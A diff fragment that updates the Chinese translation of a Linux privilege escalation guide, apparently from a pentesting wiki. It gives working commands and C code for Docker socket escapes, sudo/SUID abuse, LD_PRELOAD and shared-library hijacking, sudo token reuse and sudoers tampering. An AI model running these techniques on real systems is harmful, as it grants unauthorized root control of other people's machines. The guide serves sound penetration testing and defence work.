不可用时的替代方法。 +The Docker socket，通常位于 `/var/run/docker.sock`，是一个需要保护的重要文件。默认情况下，它对 `root` 用户和 `docker` 组的成员可写。拥有对该 socket 的写权限可能导致 privilege escalation。下面是如何做到这一点的分解，以及在无法使用 Docker CLI 时的替代方法。 -#### **使用 Docker CLI 进行权限提升** +#### **Privilege Escalation with Docker CLI** -如果你对 Docker 套接字具有写入权限，可以使用以下命令提升权限： +如果你对 Docker socket 有 write access，你可以使用以下命令来 escalate privileges： ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -这些命令允许您以根级别访问主机的文件系统运行容器。 +这些命令允许你运行一个容器，从而以 root 级别访问主机的文件系统。 #### **直接使用 Docker API** -在 Docker CLI 不可用的情况下，仍然可以使用 Docker API 和 `curl` 命令操作 Docker 套接字。 +当 Docker CLI 不可用时，仍可以使用 Docker API 和 `curl` 命令来操纵 Docker socket。 -1. **列出 Docker 镜像：** 检索可用镜像的列表。 +1. **List Docker Images:** 获取可用镜像列表。 ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **创建容器：** 发送请求以创建一个挂载主机系统根目录的容器。 +2. **Create a Container:** 发送请求以创建一个将主机根目录挂载进去的容器。 ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -523,7 +524,7 @@ curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.so curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **附加到容器：** 使用 `socat` 建立与容器的连接，从而在其中执行命令。 +3. **Attach to the Container:** 使用 `socat` 建立与容器的连接，从而在其中执行命令。 ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -533,29 +534,32 @@ Connection: Upgrade Upgrade: tcp ``` -在设置好 `socat` 连接后，您可以直接在容器中以根级别访问主机的文件系统执行命令。 +建立 `socat` 连接后，你可以在容器中直接执行命令，并以 root 级别访问主机的文件系统。 ### 其他 -请注意，如果您对 Docker 套接字具有写权限，因为您**在 `docker` 组内**，您有[**更多的权限提升方式**](interesting-groups-linux-pe/index.html#docker-group)。如果[**docker API 在某个端口上监听**，您也可能能够妥协它](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 +注意，如果你因为**属于组 `docker`** 而对 docker socket 拥有写权限，你有 [**更多提权方法**](interesting-groups-linux-pe/index.html#docker-group)。如果 [**docker API 在某端口监听，你也可能能够攻破它**](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 + +在以下位置查看 **更多从 docker 逃逸或滥用它以提权的方法**： -查看**更多从 Docker 中突破或滥用它以提升权限的方法**在： {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) 权限提升 +## Containerd (ctr) privilege escalation + +如果你发现可以使用 **`ctr`** 命令，请阅读下面的页面，因为 **you may be able to abuse it to escalate privileges**： -如果您发现可以使用 **`ctr`** 命令，请阅读以下页面，因为**您可能能够滥用它以提升权限**： {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** 权限提升 +## **RunC** privilege escalation + +如果你发现可以使用 **`runc`** 命令，请阅读下面的页面，因为 **you may be able to abuse it to escalate privileges**： -如果您发现可以使用 **`runc`** 命令，请阅读以下页面，因为**您可能能够滥用它以提升权限**： {{#ref}} runc-privilege-escalation.md @@ -563,15 +567,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus 是一个复杂的 **进程间通信 (IPC) 系统**，使应用程序能够高效地交互和共享数据。它是为现代 Linux 系统设计的，提供了一个强大的框架，用于不同形式的应用程序通信。 +D-Bus 是一个复杂的进程间通信 (IPC) 系统，使应用程序能够高效地交互和共享数据。为现代 Linux 系统设计，它为不同形式的应用通信提供了一个健壮的框架。 -该系统灵活多变，支持基本的 IPC，增强了进程之间的数据交换，类似于 **增强的 UNIX 域套接字**。此外，它有助于广播事件或信号，促进系统组件之间的无缝集成。例如，来自蓝牙守护进程的关于来电的信号可以促使音乐播放器静音，从而提升用户体验。此外，D-Bus 支持远程对象系统，简化了应用程序之间的服务请求和方法调用，简化了传统上复杂的过程。 +该系统功能多样，支持增强的 UNIX 域套接字式的基本 IPC，促进进程间的数据交换。此外，它有助于广播事件或信号，促进系统组件之间的无缝集成。例如，来自 Bluetooth 守护进程的来电信号可以促使音乐播放器静音，从而提升用户体验。D-Bus 还支持远程对象系统，简化应用之间的服务请求和方法调用，理顺传统上复杂的流程。 -D-Bus 基于 **允许/拒绝模型**，根据匹配策略规则的累积效果管理消息权限（方法调用、信号发射等）。这些策略指定与总线的交互，可能通过利用这些权限来允许权限提升。 +D-Bus 基于一种允许/拒绝模型运作，根据匹配的策略规则的综合效果来管理消息权限（方法调用、信号发送等）。这些策略指定与 bus 的交互，可能通过滥用这些权限导致提权。 -在 `/etc/dbus-1/system.d/wpa_supplicant.conf` 中提供了一个此类策略的示例，详细说明了根用户拥有、发送和接收来自 `fi.w1.wpa_supplicant1` 的消息的权限。 +在 `/etc/dbus-1/system.d/wpa_supplicant.conf` 中提供了此类策略的示例，详细说明了 root 用户对 `fi.w1.wpa_supplicant1` 的拥有、发送和接收消息的权限。 -没有指定用户或组的策略普遍适用，而“默认”上下文策略适用于所有未被其他特定策略覆盖的情况。 +未指定用户或组的策略适用于所有主体，而“default”上下文策略则适用于未被其他特定策略覆盖的所有主体。 ```xml @@ -580,7 +584,7 @@ D-Bus 基于 **允许/拒绝模型**，根据匹配策略规则的累积效果 ``` -**学习如何枚举和利用 D-Bus 通信：** +**在这里学习如何 enumerate 并 exploit D-Bus 通信：** {{#ref}} @@ -589,9 +593,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **网络** -枚举网络并确定机器的位置总是很有趣。 +在网络中进行 enumerate 并确定主机的位置总是很有趣。 -### 通用枚举 +### 通用 enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -614,16 +618,16 @@ cat /etc/networks #Files used by network services lsof -i ``` -### 开放端口 +### Open ports -在访问之前，始终检查在机器上运行的网络服务，这些服务是您之前无法与之交互的： +始终检查在你访问该机器之前无法与之交互的、正在该机器上运行的网络服务： ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -检查您是否可以嗅探流量。如果可以，您可能能够获取一些凭据。 +检查是否可以 sniff 流量。如果可以，你可能能够抓取一些 credentials。 ``` timeout 1 tcpdump ``` @@ -631,7 +635,7 @@ timeout 1 tcpdump ### 通用枚举 -检查 **你是谁**，你拥有的 **权限**，系统中有哪些 **用户**，哪些可以 **登录**，哪些具有 **root 权限**： +检查 **who** 你是谁，你拥有什么 **privileges**，系统中有哪些 **users**，哪些可以 **login**，哪些具有 **root privileges**： ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -655,21 +659,21 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -某些Linux版本受到一个漏洞的影响，该漏洞允许**UID > INT_MAX**的用户提升权限。更多信息：[here](https://gitlab.freedesktop.org/polkit/polkit/issues/74)，[here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh)和[here](https://twitter.com/paragonsec/status/1071152249529884674)。\ -**利用它**使用：**`systemd-run -t /bin/bash`** +某些 Linux 版本受到一个漏洞影响，允许 **UID > INT_MAX** 的用户 to escalate privileges。更多信息： [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) 和 [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploit it** 使用： **`systemd-run -t /bin/bash`** -### Groups +### 组 -检查您是否是可以授予您root权限的**某个组的成员**： +检查你是否是 **某个组的成员**，该组可能授予你 root privileges： {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### Clipboard +### 剪贴板 -检查剪贴板中是否有任何有趣的内容（如果可能的话） +如果可能，检查剪贴板中是否有任何有趣的内容 ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -686,27 +690,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### 已知密码 -如果您**知道环境中的任何密码**，请尝试使用该密码**登录每个用户**。 +如果你**知道环境中的任何密码**，请**尝试使用该密码登录每个用户**。 ### Su Brute -如果您不介意制造很多噪音，并且计算机上存在`su`和`timeout`二进制文件，您可以尝试使用[su-bruteforce](https://github.com/carlospolop/su-bruteforce)进行用户暴力破解。\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)使用`-a`参数也会尝试暴力破解用户。 +如果你不介意产生大量噪音，且目标主机上存在 `su` 和 `timeout` 二进制文件，可以尝试使用 [su-bruteforce](https://github.com/carlospolop/su-bruteforce)。\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 使用 `-a` 参数也会尝试对用户进行暴力破解。 -## 可写的 PATH 滥用 +## 可写 $PATH 滥用 ### $PATH -如果您发现可以**在 $PATH 的某个文件夹内写入**，您可能能够通过**在可写文件夹内创建一个后门**，其名称为将由其他用户（理想情况下是 root）执行的某个命令，并且该命令**不是从位于您可写文件夹之前的文件夹加载的**，来提升权限。 +如果你发现可以**在 $PATH 的某个文件夹中写入**，你可能能够通过**在可写文件夹中创建一个后门**（其名称与某个将由不同用户（理想情况下为 root）执行的命令相同）来提升权限，前提是该命令**不会从位于你可写文件夹之前的目录**加载。 -### SUDO 和 SUID +### SUDO and SUID -您可能被允许使用 sudo 执行某些命令，或者它们可能具有 suid 位。请使用以下命令检查： +你可能被允许使用 sudo 执行某些命令，或者某些命令可能具有 suid 位。使用以下方法检查： ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -一些**意外的命令允许您读取和/或写入文件，甚至执行命令。** 例如： +某些 **意想不到的命令允许你读取和/或写入文件，甚至执行命令。** 例如： ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -717,31 +721,31 @@ less>! ``` ### NOPASSWD -Sudo 配置可能允许用户在不知道密码的情况下以其他用户的权限执行某些命令。 +Sudo 配置可能允许用户在不知道密码的情况下，以另一个用户的权限执行某些命令。 ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -在这个例子中，用户 `demo` 可以以 `root` 身份运行 `vim`，现在通过将 ssh 密钥添加到根目录或调用 `sh` 来获取 shell 变得非常简单。 +在这个示例中，用户 `demo` 可以以 `root` 身份运行 `vim`，现在可以通过将一个 ssh key 添加到 root 目录或调用 `sh` 来轻松获得一个 shell。 ``` sudo vim -c '!sh' ``` ### SETENV -此指令允许用户在执行某些操作时**设置环境变量**： +该指令允许用户在执行某些操作时**设置环境变量**： ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -这个例子，**基于 HTB 机器 Admirer**，**易受** **PYTHONPATH 劫持** 的影响，可以在以 root 身份执行脚本时加载任意 python 库： +这个示例，**基于 HTB machine Admirer**，存在 **PYTHONPATH hijacking** 漏洞，可以在以 root 身份执行脚本时加载任意 python 库： ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo 执行绕过路径 +### Sudo 执行路径绕过 -**跳转** 以读取其他文件或使用 **符号链接**。例如在 sudoers 文件中： _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** 跳转以读取其他文件或使用 **symlinks**。例如在 sudoers 文件中: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -751,46 +755,46 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -如果使用 **wildcard** (\*)，则更容易： +如果使用 **wildcard** (\*)，就更容易： ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` -**对策**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) +**缓解措施**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo命令/SUID二进制文件没有命令路径 +### Sudo command/SUID binary 没有指定命令路径 -如果**sudo权限**被授予单个命令**而不指定路径**: _hacker10 ALL= (root) less_，你可以通过更改PATH变量来利用它。 +如果将单个命令赋予 **sudo 权限** 且 **未指定路径**：_hacker10 ALL= (root) less_，你可以通过更改 PATH 变量来利用它 ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -这种技术也可以在**suid**二进制文件**执行另一个命令而不指定路径时使用（始终检查**_**strings**_**工具查看奇怪的SUID二进制文件的内容）**。 +如果一个 **suid** 二进制文件 **在执行另一个命令时没有指定其路径（务必使用** _**strings**_ **检查可疑 SUID 二进制文件的内容）**，也可以使用该技术。 -[执行的有效载荷示例。](payloads-to-execute.md) +[Payload examples to execute.](payloads-to-execute.md) -### 带命令路径的SUID二进制文件 +### SUID 二进制（指定命令路径） -如果**suid**二进制文件**执行另一个命令并指定路径**，那么你可以尝试**导出一个函数**，其名称与suid文件调用的命令相同。 +如果该 **suid** 二进制文件 **在执行另一个命令时指定了路径**，那么你可以尝试 **导出一个函数**，其名称与 suid 文件所调用的命令相同。 -例如，如果一个suid二进制文件调用_**/usr/sbin/service apache2 start**_，你需要尝试创建该函数并导出它： +例如，如果一个 suid 二进制调用 _**/usr/sbin/service apache2 start**_，你需要尝试创建该函数并将其导出： ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -然后，当你调用suid二进制文件时，这个函数将被执行 +然后，当你调用 suid 二进制时，这个函数将被执行 ### LD_PRELOAD & **LD_LIBRARY_PATH** -**LD_PRELOAD**环境变量用于指定一个或多个共享库（.so文件），这些库将在加载器加载所有其他库之前被加载，包括标准C库（`libc.so`）。这个过程被称为库的预加载。 +环境变量 **LD_PRELOAD** 用于指定一个或多个共享库（.so 文件），由加载器在其它库之前加载，包括标准 C 库（`libc.so`）。这个过程称为预加载库。 -然而，为了维护系统安全并防止此功能被利用，特别是在**suid/sgid**可执行文件中，系统强制执行某些条件： +然而，为了维护系统安全并防止该功能被滥用，特别是在具有 **suid/sgid** 的可执行文件上，系统会强制执行某些条件： -- 加载器忽略真实用户ID（_ruid_）与有效用户ID（_euid_）不匹配的可执行文件的**LD_PRELOAD**。 -- 对于具有suid/sgid的可执行文件，仅预加载在标准路径中且也具有suid/sgid的库。 +- 对于真实用户 ID (_ruid_) 与 有效用户 ID (_euid_) 不匹配的可执行文件，加载器会忽略 **LD_PRELOAD**。 +- 对于具有 suid/sgid 的可执行文件，只有位于标准路径且同样为 suid/sgid 的库会被预加载。 -如果你有能力使用`sudo`执行命令，并且`sudo -l`的输出包含语句**env_keep+=LD_PRELOAD**，则可能发生权限提升。此配置允许**LD_PRELOAD**环境变量在使用`sudo`运行命令时保持并被识别，这可能导致以提升的权限执行任意代码。 +如果你可以使用 `sudo` 执行命令，并且 `sudo -l` 的输出包含 **env_keep+=LD_PRELOAD**，则可能发生权限提升。该配置允许 **LD_PRELOAD** 环境变量在使用 `sudo` 运行命令时仍然保留并被识别，从而可能导致以提升的权限执行任意代码。 ``` Defaults env_keep += LD_PRELOAD ``` @@ -807,17 +811,17 @@ setuid(0); system("/bin/bash"); } ``` -然后 **编译它** 使用： +然后 **将其编译** 使用: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -最后，**提升权限** 运行 +最后，**escalate privileges** 正在运行 ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> 如果攻击者控制了 **LD_LIBRARY_PATH** 环境变量，则可以滥用类似的权限提升，因为他控制了将要搜索库的路径。 +> 如果攻击者控制了 **LD_LIBRARY_PATH** 环境变量，也可以滥用类似的 privesc，因为这样他们就能控制库被搜索的路径。 ```c #include #include @@ -837,15 +841,15 @@ cd /tmp gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c sudo LD_LIBRARY_PATH=/tmp ``` -### SUID 二进制文件 – .so 注入 +### SUID Binary – .so injection -当遇到一个具有 **SUID** 权限且看起来不寻常的二进制文件时，验证它是否正确加载 **.so** 文件是一个好习惯。可以通过运行以下命令来检查： +当遇到具有 **SUID** 权限且看起来异常的二进制时，最好检查它是否正确加载 **.so** 文件。可以通过运行以下命令来检查： ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -例如，遇到类似 _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (没有这样的文件或目录)"_ 的错误提示，暗示了潜在的利用可能性。 +例如，遇到像 _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ 这样的错误，表明存在潜在的利用可能性。 -为了利用这一点，可以创建一个 C 文件，比如 _"/path/to/.config/libcalc.c"_，其中包含以下代码： +要利用这一点，可以创建一个 C 文件，例如 _"/path/to/.config/libcalc.c"_，其中包含以下代码： ```c #include #include @@ -856,15 +860,15 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -此代码在编译和执行后，旨在通过操纵文件权限并执行具有提升权限的 shell 来提升权限。 +该代码在被编译并执行后，旨在通过修改文件权限并以提升的权限启动 shell 来获得更高权限。 -使用以下命令将上述 C 文件编译为共享对象 (.so) 文件： +将上述 C 文件编译为 shared object (.so) 文件，使用： ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -最后，运行受影响的 SUID 二进制文件应该会触发漏洞，从而可能导致系统被攻陷。 +最终，运行受影响的 SUID 二进制文件应触发该 exploit，从而可能导致系统被攻破。 -## 共享对象劫持 +## Shared Object Hijacking ```bash # Lets find a SUID using a non-standard library ldd some_suid @@ -874,7 +878,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -现在我们已经找到一个从我们可以写入的文件夹加载库的 SUID 二进制文件，让我们在该文件夹中创建具有必要名称的库： +现在我们已经发现一个 SUID binary，会从我们可以写入的文件夹加载库，接下来在该文件夹中创建具有必要名称的库： ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -887,87 +891,89 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -如果您遇到类似的错误 +如果你遇到类似的错误： ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -这意味着您生成的库需要有一个名为 `a_function_name` 的函数。 +这意味着你生成的库需要有一个名为 `a_function_name` 的函数。 ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) 是一个经过整理的 Unix 二进制文件列表，攻击者可以利用这些文件绕过本地安全限制。[**GTFOArgs**](https://gtfoargs.github.io/) 是相同的，但适用于您只能在命令中 **注入参数** 的情况。 +[**GTFOBins**](https://gtfobins.github.io) 是一个收录可被攻击者利用以绕过本地安全限制的 Unix 二进制文件的精选列表。[**GTFOArgs**](https://gtfoargs.github.io/) 用途相同，但针对只能**注入参数**到命令中的情况。 -该项目收集了可以被滥用的 Unix 二进制文件的合法功能，以打破受限的 shell，提升或维持提升的权限，传输文件，生成绑定和反向 shell，并促进其他后期利用任务。 +该项目收集了 Unix 二进制文件的合法功能，这些功能可以被滥用以突破受限 shell、提升或维持提权、传输文件、生成 bind 和 reverse shells，以及辅助其它 post-exploitation 任务。 > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ > strace -o /dev/null /bin/sh\ > sudo awk 'BEGIN {system("/bin/sh")}' + {{#ref}} https://gtfobins.github.io/ {{#endref}} + {{#ref}} https://gtfoargs.github.io/ {{#endref}} ### FallOfSudo -如果您可以访问 `sudo -l`，您可以使用工具 [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) 来检查是否找到利用任何 sudo 规则的方法。 +如果你可以访问 `sudo -l`，可以使用工具 [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) 来检查它是否能发现利用任何 sudo 规则的方法。 -### 重用 Sudo 令牌 +### 重用 sudo 令牌 -在您拥有 **sudo 访问权限** 但没有密码的情况下，您可以通过 **等待 sudo 命令执行然后劫持会话令牌** 来提升权限。 +在你拥有 **sudo access** 但不知道密码的情况下，可以通过**等待某次 sudo 命令执行然后劫持会话令牌**来提升权限。 -提升权限的要求： +提升权限的前提条件： -- 您已经以用户 "_sampleuser_" 拥有一个 shell -- "_sampleuser_" 在 **过去 15 分钟内** **使用过 `sudo`** 执行某些操作（默认情况下，这是允许我们在不输入任何密码的情况下使用 `sudo` 的 sudo 令牌的持续时间） -- `cat /proc/sys/kernel/yama/ptrace_scope` 为 0 -- `gdb` 可访问（您可以上传它） +- 你已经以用户 "_sampleuser_" 拥有一个 shell +- "_sampleuser_" 在**最近 15 分钟内**已经**使用过 `sudo`** 执行过某些操作（默认情况下这是 sudo 令牌允许我们在不输入任何密码的情况下使用 `sudo` 的持续时间） +- `cat /proc/sys/kernel/yama/ptrace_scope` 的值为 0 +- `gdb` 可用（你能够上传它） -（您可以通过 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` 临时启用 `ptrace_scope`，或通过永久修改 `/etc/sysctl.d/10-ptrace.conf` 并设置 `kernel.yama.ptrace_scope = 0`） +（你可以临时启用 `ptrace_scope`：`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`，或通过修改 `/etc/sysctl.d/10-ptrace.conf` 并设置 `kernel.yama.ptrace_scope = 0` 来永久修改） -如果满足所有这些要求，**您可以使用以下方法提升权限：** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +如果满足所有这些条件，**你可以使用：** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) 来提升权限 -- **第一个利用** (`exploit.sh`) 将在 _/tmp_ 中创建二进制文件 `activate_sudo_token`。您可以使用它来 **在您的会话中激活 sudo 令牌**（您不会自动获得 root shell，请执行 `sudo su`）： +- 第一个 **exploit**（`exploit.sh`）会在 _/tmp_ 中创建二进制文件 `activate_sudo_token`。你可以用它来**在你的会话中激活 sudo 令牌**（这不会自动给你一个 root shell，执行 `sudo su`）： ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- 第二个漏洞 (`exploit_v2.sh`) 将在 _/tmp_ 中创建一个 **由 root 拥有并设置了 setuid 的 sh shell** +- **第二个 exploit** (`exploit_v2.sh`) 会在 _/tmp_ 创建一个 sh shell **由 root 拥有并带有 setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- 第**三个漏洞** (`exploit_v3.sh`) 将**创建一个 sudoers 文件**，使**sudo 令牌永久有效并允许所有用户使用 sudo** +- 第三个 **exploit** (`exploit_v3.sh`) 会 **创建一个 sudoers 文件**，使 **sudo tokens 永久有效 并允许所有用户 使用 sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -如果您在该文件夹或文件夹内创建的任何文件中具有**写权限**，则可以使用二进制文件 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) **为用户和PID创建sudo令牌**。\ -例如，如果您可以覆盖文件 _/var/run/sudo/ts/sampleuser_，并且您以该用户的身份拥有PID 1234的shell，则可以**获得sudo权限**而无需知道密码，方法是： +如果你对该文件夹或其内部任何已创建文件拥有**写权限**，你可以使用二进制文件 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) 来**为某个用户和 PID 创建 sudo token**。\ +例如，如果你可以覆盖文件 _/var/run/sudo/ts/sampleuser_，并且你以该用户身份拥有 PID 为 1234 的 shell，你可以在不需要知道密码的情况下通过以下方式**获得 sudo privileges**： ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -文件 `/etc/sudoers` 和 `/etc/sudoers.d` 中的文件配置了谁可以使用 `sudo` 以及如何使用。这些文件 **默认情况下只能被用户 root 和组 root 读取**。\ -**如果** 你可以 **读取** 这个文件，你可能能够 **获得一些有趣的信息**，如果你可以 **写入** 任何文件，你将能够 **提升权限**。 +文件 `/etc/sudoers` 和 `/etc/sudoers.d` 目录下的文件负责配置谁可以使用 `sudo` 以及如何使用。 这些文件**默认只有用户 root 和组 root 可以读取**.\ +**如果**你能**读取**该文件，你可能能够**获得一些有趣的信息**，如果你能**写入**任何文件，你将能够**escalate privileges**。 ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -如果你会写代码，你就可以滥用这个权限。 +如果你有写权限，就可以滥用此权限 ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -另一种滥用这些权限的方法： +滥用这些权限的另一种方法： ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -976,17 +982,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -有一些替代 `sudo` 二进制文件的选项，例如 OpenBSD 的 `doas`，请记得检查其配置在 `/etc/doas.conf` +有一些替代 `sudo` 二进制文件的工具，比如 OpenBSD 的 `doas`，记得检查其配置文件（位于 `/etc/doas.conf`）。 ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -如果你知道一个 **用户通常连接到一台机器并使用 `sudo`** 来提升权限，并且你在该用户上下文中获得了一个 shell，你可以 **创建一个新的 sudo 可执行文件**，该文件将以 root 身份执行你的代码，然后执行用户的命令。然后，**修改用户上下文的 $PATH**（例如在 .bash_profile 中添加新路径），这样当用户执行 sudo 时，你的 sudo 可执行文件就会被执行。 +如果你知道某个 **用户通常连接到机器并使用 `sudo`** 来提升权限，并且你已经在该用户上下文中获得了一个 shell，你可以**创建一个新的 sudo 可执行文件**，该文件会先以 root 身份执行你的代码，然后再执行用户的命令。然后，**修改该用户上下文的 $PATH**（例如在 .bash_profile 中添加新的路径），这样当用户执行 sudo 时，你的 sudo 可执行文件就会被执行。 -请注意，如果用户使用不同的 shell（不是 bash），你需要修改其他文件以添加新路径。例如[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) 修改了 `~/.bashrc`、`~/.zshrc`、`~/.bash_profile`。你可以在 [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) 中找到另一个示例。 +注意，如果用户使用不同的 shell（不是 bash），你需要修改其他文件以添加新的路径。例如[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) 会修改 `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`。你可以在 [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) 找到另一个示例。 -或者运行类似的命令： +或者运行类似如下的命令： ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -通过将库复制到 `/var/tmp/flag15/`，它将被程序在此位置使用，如 `RPATH` 变量中指定的那样。 +通过将 lib 复制到 `/var/tmp/flag15/`，它将按照 `RPATH` 变量中指定的位置被程序使用。 ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1036,7 +1042,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -然后在 `/var/tmp` 中创建一个恶意库，使用 `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +然后在 `/var/tmp` 创建一个恶意库，使用 `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1049,58 +1055,59 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## Capabilities +## 能力 -Linux capabilities 提供了 **可用的根权限的子集给一个进程**。这有效地将根 **权限分解为更小且独特的单元**。每个单元可以独立授予给进程。通过这种方式，完整的权限集被减少，从而降低了被利用的风险。\ -阅读以下页面以 **了解更多关于能力及其滥用的方法**： +Linux capabilities 提供给进程一个 **可用 root 权限的子集**。这实际上将 root 的 **权限划分为更小且独立的单元**。这些单元可以被独立授予给不同的进程。通过这种方式，完整的权限集合被缩减，从而降低被利用的风险。\ +阅读以下页面以 **了解更多关于 capabilities 及如何滥用它们**： {{#ref}} linux-capabilities.md {{#endref}} -## Directory permissions +## 目录权限 -在一个目录中，**“执行”**位意味着受影响的用户可以“**cd**”进入该文件夹。\ -**“读取”**位意味着用户可以 **列出** **文件**，而 **“写入”**位意味着用户可以 **删除** 和 **创建** 新的 **文件**。 +在目录中，**bit for "execute"** 表示受影响的用户可以 "**cd**" 进入该文件夹。\ +**"read"** 位表示用户可以 **list** 这些 **files**，而 **"write"** 位表示用户可以 **delete** 并 **create** 新的 **files**。 ## ACLs -访问控制列表 (ACLs) 代表了可自由裁量权限的第二层，能够 **覆盖传统的 ugo/rwx 